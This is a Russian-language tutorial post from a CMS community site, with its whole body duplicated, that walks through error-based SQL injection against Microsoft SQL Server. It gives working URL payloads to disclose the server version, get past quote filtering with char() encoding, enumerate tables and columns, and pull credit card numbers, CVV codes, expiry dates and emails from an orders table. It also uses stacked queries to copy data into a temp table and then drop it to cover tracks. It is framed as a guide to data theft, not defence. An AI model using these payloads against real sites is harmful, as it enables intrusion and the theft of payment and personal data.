Голосование
Какую CMS Вы предпочитаете
AtomX
Fapos CMS
Drunya CMS
Топ новостей
- Генератор аватарок в стиле пиксель-арт
- Скачать Fapos CMS 1.1.8 Бесплатно
- Цунами в Японии. Последствия.
- Предварительная инфа о FAPOS 1.1.9. Часть 2
- Описание версии CMS Fapos 0.9.9
- Новая версия Fapos 1.3
- Половина россиян не смогла отличить легальный контент
- Что есть Fapos CMS
- Убийца Apache у вас на пороге
- Открытое тестирование Fapos 0.9.9
Последние комментарии
Топ пользователей
Сайты на AtomX CMS
Я не буду рассказывать об азах инъекций в MS SQL, на эту тему написано и сказано уже очень много. Я хочу поделится некоторым своим опытом, набранным бессонными ночами, когда я ковырял гимморные ms sql инжекты и курил мануалы, пытаясь понять, что я делаю неправильно.
Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'.
/inc/inc_customer.asp, line 103
ошибка возникает из за символа “+”, поэтому вот такой запрос:
1’ or 1=@@version--
в данном случае пройдет на ура и выдаст нам версию сервера.
Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос:
http://www.target.com/dinamica.asp
?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)--
и получив имя первой таблицы, к примеру:
[Microsoft][ODBC SQL Server Driver]
[SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int.
мы не можем получить имя второй, и вместо нее видим ответ:
[Microsoft][ODBC SQL Server Driver]
[SQL Server]Incorrect syntax near 'Pincodes'.
В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы
Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)
%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES
+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)
%2Bchar(111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))--
мы получим имя второй таблицы:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.
Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей.
Идем дальше. Иногда хитромудрые админы употребляют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast
(cvv+as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)
+ from+orders+where+orderid=CRX-40003)--
в этом случае сервер отвечает:
Invalid column name 'CRX'.
так как часть имени поля, идущая после "-", обрезается. Это проблема обходиться в свою очередь добавлением кавычек вокруг названия проблемного поля:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+cast(ccnumber+as+nvarchar)%
2B%27%3A%27%2Bcast(cvv+as+nvarchar)%2B%27%
3A%27%2Bcast(expire+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)--
Иногда само название поля состоит из двух слов, между которыми находиться пробел:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+
('Account%20Number','Card%20Number','Experation%20Date', 'CVV%20Response'))—
и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия:
http://www.target.com/dinamica.asp?ID=
1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)--
И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных:
http://www.target.com/dinamica.asp?ID=
1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1)
, email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp
(email) select email from orders;--
с последующим забором нужных нам данных:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+email+from+temp+where+id=1)--
И как закончишь, не забудь убрать за собой, удалив таблицу:
http://www.target.com/dinamica.asp?ID=1;drop table temp;--
Очень надеюсь, что поделившись с тобой моим скромным опытом, я уберег тебя от ночных нервотрепок и помог сделать процесс извлечения данных из MS SQL чуточку проще.
Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'.
/inc/inc_customer.asp, line 103
ошибка возникает из за символа “+”, поэтому вот такой запрос:
1’ or 1=@@version--
в данном случае пройдет на ура и выдаст нам версию сервера.
Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос:
http://www.target.com/dinamica.asp
?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)--
и получив имя первой таблицы, к примеру:
[Microsoft][ODBC SQL Server Driver]
[SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int.
мы не можем получить имя второй, и вместо нее видим ответ:
[Microsoft][ODBC SQL Server Driver]
[SQL Server]Incorrect syntax near 'Pincodes'.
В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы
Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)
%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES
+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)
%2Bchar(111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))--
мы получим имя второй таблицы:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.
Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей.
Идем дальше. Иногда хитромудрые админы употребляют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast
(cvv+as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)
+ from+orders+where+orderid=CRX-40003)--
в этом случае сервер отвечает:
Invalid column name 'CRX'.
так как часть имени поля, идущая после "-", обрезается. Это проблема обходиться в свою очередь добавлением кавычек вокруг названия проблемного поля:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+cast(ccnumber+as+nvarchar)%
2B%27%3A%27%2Bcast(cvv+as+nvarchar)%2B%27%
3A%27%2Bcast(expire+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)--
Иногда само название поля состоит из двух слов, между которыми находиться пробел:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+
('Account%20Number','Card%20Number','Experation%20Date', 'CVV%20Response'))—
и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия:
http://www.target.com/dinamica.asp?ID=
1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)--
И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных:
http://www.target.com/dinamica.asp?ID=
1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1)
, email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp
(email) select email from orders;--
с последующим забором нужных нам данных:
http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+email+from+temp+where+id=1)--
И как закончишь, не забудь убрать за собой, удалив таблицу:
http://www.target.com/dinamica.asp?ID=1;drop table temp;--
Очень надеюсь, что поделившись с тобой моим скромным опытом, я уберег тебя от ночных нервотрепок и помог сделать процесс извлечения данных из MS SQL чуточку проще.
Сейчас online: 48. Зарегистрированных: 1. Гостей: 47.
AtomX 2.8 Beta - Новая версия бесплатной CMS
AtomX 2.8 Beta - Новая версия бесплатной CMS
Программирование - что может быть проще.
Программирование - что может быть проще.
AtomX 2.8 Beta - Новая версия бесплатной CMS
AtomX 2.8 Beta - Новая версия бесплатной CMS
Написание простого вируса в блокноте
Что такое API и для чего они нужны
Классы в PHP для чайников
Написание простого вируса в блокноте